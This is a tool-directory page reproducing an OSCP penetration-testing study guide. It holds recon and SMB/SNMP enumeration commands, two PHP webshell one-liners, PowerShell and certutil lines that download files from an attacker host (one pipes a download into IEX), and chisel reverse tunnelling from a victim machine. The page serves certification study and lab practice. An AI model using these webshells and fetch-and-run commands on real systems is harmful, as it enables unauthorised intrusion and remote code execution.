Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
OSCP — OSCP Study Guide | Kitploit
Tools/GitHubGitHub/rootsecdev/oscp
ReconnaissanceExploitationWeb Application ExploitationPost-ExploitationWeb SecurityNetwork SecurityPenetration TestingLearning & EducationRed Teaming
GitHubrootsecdev/oscp

OSCP

OSCP Study Guide

42513 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

OSCP

OSCP Study Guide

Table of Contents

Enumeration and Recon

Web Enumeration

Nikto scanning:

root@kitploit:~
nikto -h http://10.10.10.1

Directory busting with different tools:

DIRB

root@kitploit:~
dirb http://10.10.10.1

Gobuster

root@kitploit:~
gobuster dir -u http://10.129.155.74:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x aspx

Pentesting Website Applications

XSS Payloads: Cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

Basic XSS form testing with either netcat listener or python web server

root@kitploit:~

Cross Site scripting to dump base64 cookies. Make sure to url encode in burp with ctrl + u

root@kitploit:~

Webshells

Reference: https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html

Simple PHP webshell for command execution

root@kitploit:~
<?php system($_REQUEST ['cmd']) ?>
root@kitploit:~
<?php system($_GET['cmd']); ?>

Pentesting SNMP

Port 161 UDP

root@kitploit:~
snmpwalk -c public -v2c 10.129.213.210
root@kitploit:~
snmp-check 10.129.213.210

Pentesting SMB

root@kitploit:~
crackmapexec smb 10.129.70.254 

Detect anonymous shares that are open

root@kitploit:~
smbclient -L //10.129.70.254

Null Authentication

root@kitploit:~
smbclient -N -L //10.129.70.254

Post Exploitation

Downloading and Transferring Files

Certutil:

root@kitploit:~
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe

PowerShell:

root@kitploit:~
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"
root@kitploit:~
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.11.0.4/nc.exe')"

Port forwarding and tunneling

Using Chisel:

Example using port forwarding so port 910 is available on kali box

root@kitploit:~
on victim machine setup port forwarding
chisel.exe client 10.10.16.10:5555 R:910:127.0.0.1:910
root@kitploit:~
On Kali attack box setup a reverse listner for port forward with chisel
./chisel server --port 5555 --reverse
Download Tool